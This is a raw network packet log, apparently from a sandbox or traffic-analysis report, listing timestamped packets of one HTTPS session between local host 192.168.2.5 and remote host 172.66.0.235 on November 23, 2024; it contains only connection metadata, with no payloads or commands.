Nov 23, 2024 13:37:53.943723917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.943738937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.943793058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.943802118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.943844080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.949660063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.949675083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.949713945 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.949722052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.949757099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.949778080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.955002069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.955015898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.955069065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.955076933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.955116034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.961373091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.961388111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.961456060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.961463928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.961508036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.966686964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.966701984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.966752052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.966761112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.966824055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.972754955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.972769976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.972821951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.972830057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:53.972876072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:53.983851910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.124419928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.124445915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.124514103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.124548912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.124600887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.129924059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.129939079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.130023956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.130038023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.130093098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.131011963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.136039972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.136055946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.136116028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.136130095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.136205912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.141758919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.141773939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.141834021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.141849041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.141901970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.147072077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.147085905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.147145033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.147159100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.147213936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.153469086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.153482914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.153537989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.153553009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.153606892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.158860922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.158883095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.158934116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.158948898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.158978939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.158996105 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.164916992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.164932013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.164990902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.165005922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.165054083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.169794083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.325323105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.325345993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.325416088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.325521946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.325573921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.325573921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.330621958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.330637932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.330698013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.330715895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.330763102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.336594105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.336608887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.336668968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.336683989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.336738110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.342614889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.342629910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.342688084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.342703104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.342778921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.348368883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.348383904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.348452091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.348467112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.348517895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.354350090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.354365110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.354418039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.354432106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.354500055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.356615067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.359657049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.359671116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.359728098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.359743118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.359797001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.365740061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.365757942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.365809917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.365824938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.365853071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.365891933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.382026911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.512835026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.512939930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.517157078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.517205954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.517241955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.517266035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.517296076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.517314911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.523257017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.523276091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.523349047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.523365021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.523411989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.524219990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.524286985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.530225039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.530240059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.530297995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.530313969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.536319971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.536340952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.536386013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.536401987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.536432028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.541949987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.541965008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.542022943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.542041063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.548027992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.548047066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.548090935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.548111916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.548135042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.553335905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.553349018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.553410053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.553427935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.557986021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.704850912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.704873085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.704974890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.704999924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.705053091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.710859060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.710874081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.710943937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.710958004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.711010933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.716296911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.716311932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.716375113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.716388941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.716468096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.722239017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.722254038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.722342968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.722357988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.722410917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.728276968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.728291988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.728352070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.728364944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.728427887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.733921051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.733937025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.734003067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.734016895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.734067917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.740102053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.740119934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.740200996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.740215063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.740268946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.744330883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.744393110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.744410038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.744422913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.744450092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.746143103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.749679089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.749695063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.749736071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.749789953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.749802113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.751384020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.900891066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.900914907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.901019096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.901019096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.901087046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.901228905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.906970024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.906992912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.907044888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.907071114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.907095909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.907145977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.912935972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.912952900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.913024902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.913041115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.913108110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.918225050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.918241024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.918292046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.918308020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.918356895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.924652100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.924668074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.924746037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.924762011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.924813032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.929969072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.929986000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.930059910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.930074930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.930126905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.936048985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.936065912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.936131954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.936146021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.936197042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.940448046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.942060947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.942075968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.942120075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.942132950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:54.942162991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.942183018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:54.961692095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.373330116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.373343945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.373389959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.373466015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.373505116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.373522997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.373549938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.379244089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.379261017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.379347086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.379359961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.379405975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.385234118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.385251999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.385318041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.385329962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.385375023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.394026995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.394042969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.394109011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.394124031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.394179106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.397687912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.397705078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.397773027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.397788048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.397834063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.403462887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.403477907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.403538942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.403553009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.403603077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.409862041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.409877062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.409940004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.409954071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.410006046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.415051937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.415067911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.415132046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.415148020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.415198088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.421389103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.421403885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.421473980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.421488047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.421535015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.426707029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.426723003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.426803112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.426816940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.426868916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.427655935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.427721024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.433141947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.433160067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.433227062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.433242083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.442218065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.442243099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.442358017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.442373037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.444946051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.444960117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.445033073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.445051908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.450227022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.450244904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.450288057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.450304985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.450349092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.456326008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.456351995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.456407070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.456429005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.456454039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.472810984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.472831011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.472887993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.472909927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.472933054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.478317976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.478336096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.478391886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.478413105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.478435993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.484463930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.484482050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.484544992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.484564066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.484586000 CET	49704	443	192.168.2.5	172.66.0.235
